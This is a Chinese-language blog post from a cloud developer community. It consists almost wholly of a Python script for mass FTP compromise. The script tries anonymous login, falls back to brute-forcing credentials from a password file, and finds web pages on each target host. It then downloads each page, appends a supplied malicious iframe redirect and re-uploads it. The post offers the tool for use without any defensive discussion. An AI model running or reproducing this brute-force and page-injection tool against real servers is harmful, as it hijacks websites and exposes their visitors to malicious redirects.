前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python 往ftp站点注入攻击

python 往ftp站点注入攻击

作者头像
用户5760343
发布2019-07-31 15:47:27
1.3K0
发布2019-07-31 15:47:27
举报
文章被收录于专栏:sktj

import ftplib import optparse import time

def attack(username,password,tgtHost,redirect): ftp = ftplib.FTP(tgtHost) ftp.login(username,password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp,defPage,redirect)

def anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous','123@123.com') print('\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.') ftp.quit() return True except Exception as e: print('\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.') return False

def bruteLogin(hostname,passwdFile): pF = open(passwdFile,'r') for line in pF.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip('\r').strip('\n') print('[+] Trying: ' + username + '/' + password) try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print('\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password) ftp.quit() return (username,password) except Exception as e: pass print('\n[-] Could not brubrute force FTP credentials.') return (None,None)

def returnDefault(ftp): try: #nlst()方法获取目录下的文件 dirList = ftp.nlst() except: dirList = [] print('[-] Could not list directory contents.') print('[-] Skipping To Next Target.') return

代码语言:javascript
复制
retList = []
for filename in dirList:
    #lower()方法将文件名都转换为小写的形式
    fn = filename.lower()
    if '.php' in fn or '.asp' in fn or '.htm' in fn:
        print('[+] Found default page: '+filename)
        retList.append(filename)
return retList

def injectPage(ftp,page,redirect): f = open(page + '.tmp','w') #下载FTP文件 ftp.retrlines('RETR ' + page,f.write) print('[+] Downloaded Page: ' + page) f.write(redirect) f.close() print('[+] Injected Malicious IFrame on: ' + page) #上传目标文件 ftp.storlines('STOR ' + page,open(page + '.tmp','rb')) print('[+] Uploaded Injected Page: ' + page)

def main(): parser = optparse.OptionParser('[*] Usage : ./massCompromise.py -H <target host[s]> -r <redirect page> -f <userpass file>]') parser.add_option('-H',dest='hosts',type='string',help='specify target host') parser.add_option('-r',dest='redirect',type='string',help='specify redirect page') parser.add_option('-f',dest='file',type='string',help='specify userpass file') (options,args) = parser.parse_args()

代码语言:javascript
复制
#返回hosts列表,若不加split()则只返回一个字符
hosts = str(options.hosts).split(',')
redirect = options.redirect
file = options.file

#先不用判断用户口令文件名是否输入,因为会先进行匿名登录尝试
if hosts == None or redirect == None:
    print(parser.usage)
    exit(0)

for host in hosts:
    username = None
    password = None
    if anonLogin(host) == True:
        username = 'anonymous'
        password = '123@123.com'
        print('[+] Using Anonymous Creds to attack')
        attack(username,password,host,redirect)
    elif file != None:
        (username,password) = bruteLogin(host,file)
        if password != None:
            print('[+] Using Cred: ' + username + '/' + password + ' to attack')
            attack(username,password,host,redirect)

if name == 'main': main()

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019.07.29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档